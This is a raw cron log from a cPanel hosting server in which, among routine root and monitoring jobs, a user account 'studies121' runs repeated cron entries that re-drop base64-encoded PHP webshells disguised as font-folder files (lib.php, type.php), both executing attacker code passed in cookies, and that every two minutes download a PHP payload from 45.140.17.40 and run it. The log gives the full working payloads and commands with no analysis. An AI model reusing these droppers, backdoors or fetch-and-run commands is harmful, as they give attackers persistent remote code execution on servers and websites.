Sep  5 20:15:01 ip-184-168-122-23 CROND[19727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:15:01 ip-184-168-122-23 CROND[19733]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 20:16:01 ip-184-168-122-23 CROND[19834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:16:01 ip-184-168-122-23 CROND[19832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:16:01 ip-184-168-122-23 CROND[19835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:16:01 ip-184-168-122-23 CROND[19836]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 20:16:01 ip-184-168-122-23 CROND[19833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:16:01 ip-184-168-122-23 CROND[19837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:17:01 ip-184-168-122-23 CROND[20015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:17:01 ip-184-168-122-23 CROND[20018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:17:01 ip-184-168-122-23 CROND[20016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:17:01 ip-184-168-122-23 CROND[20017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:18:01 ip-184-168-122-23 CROND[20102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:18:01 ip-184-168-122-23 CROND[20103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:18:01 ip-184-168-122-23 CROND[20105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:18:01 ip-184-168-122-23 CROND[20104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:18:01 ip-184-168-122-23 CROND[20101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:19:01 ip-184-168-122-23 CROND[20195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:19:01 ip-184-168-122-23 CROND[20196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:19:01 ip-184-168-122-23 CROND[20198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:19:01 ip-184-168-122-23 CROND[20197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:20:01 ip-184-168-122-23 CROND[20281]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:20:01 ip-184-168-122-23 CROND[20284]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 20:20:01 ip-184-168-122-23 CROND[20286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:20:01 ip-184-168-122-23 CROND[20291]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:20:01 ip-184-168-122-23 CROND[20292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:20:01 ip-184-168-122-23 CROND[20290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:20:01 ip-184-168-122-23 CROND[20287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:20:01 ip-184-168-122-23 CROND[20288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:20:01 ip-184-168-122-23 CROND[20295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:21:01 ip-184-168-122-23 CROND[20387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:21:01 ip-184-168-122-23 CROND[20386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:21:01 ip-184-168-122-23 CROND[20388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:21:01 ip-184-168-122-23 CROND[20389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:22:01 ip-184-168-122-23 CROND[20564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:22:01 ip-184-168-122-23 CROND[20566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:22:01 ip-184-168-122-23 CROND[20567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:22:01 ip-184-168-122-23 CROND[20568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:22:01 ip-184-168-122-23 CROND[20569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:23:01 ip-184-168-122-23 CROND[20649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:23:01 ip-184-168-122-23 CROND[20650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:23:01 ip-184-168-122-23 CROND[20653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:23:01 ip-184-168-122-23 CROND[20651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:24:01 ip-184-168-122-23 CROND[20738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:24:01 ip-184-168-122-23 CROND[20741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:24:01 ip-184-168-122-23 CROND[20739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:24:01 ip-184-168-122-23 CROND[20740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:24:02 ip-184-168-122-23 CROND[20742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:25:01 ip-184-168-122-23 CROND[20841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:25:01 ip-184-168-122-23 CROND[20842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:25:01 ip-184-168-122-23 CROND[20843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:25:01 ip-184-168-122-23 CROND[20846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:25:01 ip-184-168-122-23 CROND[20848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:25:01 ip-184-168-122-23 CROND[20847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:25:01 ip-184-168-122-23 CROND[20850]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 20:26:01 ip-184-168-122-23 CROND[20950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:26:01 ip-184-168-122-23 CROND[20952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:26:01 ip-184-168-122-23 CROND[20949]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  5 20:26:01 ip-184-168-122-23 CROND[20953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:26:01 ip-184-168-122-23 CROND[20954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:26:01 ip-184-168-122-23 CROND[20951]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  5 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  5 20:27:01 ip-184-168-122-23 CROND[21111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:27:01 ip-184-168-122-23 CROND[21113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:27:01 ip-184-168-122-23 CROND[21116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
